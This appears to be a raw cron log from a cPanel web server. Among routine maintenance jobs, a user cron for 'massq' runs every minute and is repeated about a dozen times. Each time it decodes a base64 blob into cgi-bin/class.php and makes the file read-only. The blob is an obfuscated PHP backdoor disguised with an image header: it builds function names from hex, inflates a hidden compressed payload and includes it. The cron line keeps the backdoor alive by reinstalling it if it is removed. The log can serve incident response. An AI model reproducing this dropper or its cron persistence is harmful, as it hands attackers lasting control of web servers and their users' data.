Sep  5 00:26:01 server CROND[17600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:26:01 server CROND[17601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:27:01 server CROND[18034]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:27:01 server CROND[18035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:27:01 server CROND[18036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:27:01 server CROND[18037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:28:01 server CROND[18413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:28:01 server CROND[18414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:28:01 server CROND[18416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:29:01 server CROND[18793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:29:01 server CROND[18794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:29:01 server CROND[18795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:30:01 server CROND[19314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:30:01 server CROND[19315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:30:01 server CROND[19317]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 00:30:01 server CROND[19320]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:30:01 server CROND[19324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:30:01 server CROND[19325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:30:01 server CROND[19328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:30:01 server CROND[19326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:30:01 server CROND[19330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:31:01 server CROND[20173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:31:01 server CROND[20175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:31:01 server CROND[20174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:32:01 server CROND[20567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:32:01 server CROND[20568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:32:01 server CROND[20569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:33:01 server CROND[20965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:33:01 server CROND[20966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:33:01 server CROND[20967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:34:01 server CROND[21344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:34:01 server CROND[21346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:34:01 server CROND[21345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:35:01 server CROND[21834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:35:01 server CROND[21835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:35:01 server CROND[21838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:35:01 server CROND[21839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:35:01 server CROND[21840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:35:01 server CROND[21843]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 00:35:01 server CROND[21844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:35:01 server CROND[21841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:35:01 server CROND[21842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:36:01 server CROND[22748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:36:01 server CROND[22749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:36:01 server CROND[22750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:37:01 server CROND[23290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:37:01 server CROND[23291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:37:01 server CROND[23289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:38:01 server CROND[23727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:38:01 server CROND[23729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:38:01 server CROND[23728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
